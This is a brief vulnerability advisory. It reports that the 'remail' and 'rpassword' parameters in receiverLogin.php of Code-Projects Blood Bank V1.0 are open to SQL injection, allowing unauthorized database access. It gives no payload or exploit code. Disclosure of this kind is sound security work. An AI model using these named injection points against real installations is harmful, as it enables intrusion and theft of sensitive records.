Overview

• Code-Projects Blood Bank V1.0 is susceptible to a significant security vulnerability that arises from insufficient protection on the 'remail' and 'rpassword' parameters in the receiverLogin.php file. This flaw can potentially be exploited to inject malicious SQL queries, leading to unauthorized access and extraction of sensitive information from the database.
